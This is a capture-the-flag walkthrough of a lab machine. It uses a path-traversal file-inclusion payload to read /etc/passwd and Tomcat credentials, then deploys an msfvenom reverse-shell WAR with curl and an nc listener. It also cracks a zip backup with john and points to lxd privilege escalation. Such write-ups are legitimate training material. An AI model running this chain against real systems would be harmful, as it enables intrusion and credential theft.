Result of nmap scan:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat 9146/tcp closed unknown 42787/tcp closed unknown 48705/tcp closed unknown
Like port 80 is open we launch gobuster on it in our terminal before heading to our browser to explore it. Exploring the “Mega Hosting” website, I found an interesting link behing the News option in the menu. It redirects to http://megahosting.htb/news.php?file=statement so let’s add first
megahosting.htb in our
/etc/hosts file and then take a good look at the structure of the URL: it suggests a LFI with the file variable.
To verify that, head to Burp Repeater, put
/news.php?file=../../../../etc/passwd as URI and we got the file.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false sshd:x:111:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false tomcat:x:997:997::/opt/tomcat:/bin/false mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false ash:x:1000:1000:clive:/home/ash:/bin/bash
From here, I just forgot about the running gobuster and tried getting RCE using different techniques illustrated in PayloadAllTheThings but they didn’t work. So it’s time to go explore the port 8080.
In the tomcat port, you will find the default index page when you just installed tomcat. The page tells us tomcat 9 is used, and gives some informations about some possible paths to explore for interesting files. Clicking on the link to tomcat manager asks us for a password. That means the manager is available but when I tried some default credentials, they did not work.
From all of that, the attach pattern became pretty clear: I need to use the LFI to read the
tomcat-users.xml file to gain access to the manager and upload a WAR that will give me reverse shell.
For about an hour I tried reading the tomcat-users.xml by using well known paths including the ones in the default index page but NO-THING! Then, I read again carefully the index page and paid attention to this:
You might consider installing the following packages, if you haven’t already done so:
It’s talking about a package manager then maybe the apt package manager when installing tomcat9 does not use standard configuration paths. To check it, I installed myself tomcat9 and query for the package installed files.
# No need to use sudo if you are already root $ sudo apt install -y tomcat9 tomcat9-admin $ sudo dpkg --listfiles tomcat9-admin | grep tomcat-users
The result is
/usr/share/tomcat9/etc/tomcat-users.xml which is not common at all and using it in our LFI gives us a file.
<?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <!-- NOTE: By default, no user is included in the "manager-gui" role required to operate the "/manager/html" web application. If you wish to use this app, you must define such a user - the username and password are arbitrary. It is strongly recommended that you do NOT use one of the users in the commented out section below since they are intended for use with the examples web application. --> <!-- NOTE: The sample user and role entries below are intended for use with the examples web application. They are wrapped in a comment and thus are ignored when reading this file. If you wish to configure these users for use with the examples web application, do not forget to remove the <!.. ..> that surrounds them. You will also need to set the passwords to something appropriate. --> <!-- <role rolename="tomcat"/> <role rolename="role1"/> <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> <user username="both" password="<must-be-changed>" roles="tomcat,role1"/> <user username="role1" password="<must-be-changed>" roles="role1"/> --> <role rolename="admin-gui"/> <role rolename="manager-script"/> <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/> </tomcat-users>
TA-DAAAA, we have a password! But be aware that this password is not associated to the role
manager-script. This means, we can’t access to the manager html frontend with these credentials but only to the “API”. That said, let’s create our reverse shell war and upload it using curl.
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=tun0 LPORT=4444 -f war -o rev_sh.war Payload size: 1093 bytes Final size of war file: 1093 bytes Saved as: rev_sh.war $ curl --upload-file rev_sh.war 'http://tomcat:[email protected]:8080/manager/text/deploy?path=/rev_sh' OK - Deployed application at context path [/rev_sh] $ sudo nc -lvnp 4444 listening on [any] 4444 ...
Now we head to
http://megahosting.htb:8080/rev_sh/ and we catch a shell as user tomcat!
For the lateral movement to user
ash, you need to remember what you read in the News page of the website. They were hacked and they deactivated a functionality, so maybe there is still some files of that functionnality laying around. After spawning a TTY shell with python3 and exploring around, I found an encrypted backup at
/var/www/html/files/16162020_backup.zip. Let’s download it and use John the Ripper for cracking it.
$ zip2john 16162020_backup.zip > backuphash $ john --wordlist=/usr/share/wordlists/rockyou.txt backuphash Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status [email protected] (backup.zip)
[email protected] as ash password and you become user ash.
linEnum.sh to the box reveals user ash belongs to the group
lxd which is at 99% a vector for privilege escalation. You can find a tutorial on how to do it
here. The only difficulty I found was with the filesystem. I couldn’t write or correctly read some directories like
/tmp, so I just created a directory at
/dev/shm/ as my workspace for the privesc.
Congratulations, you just rooted the box.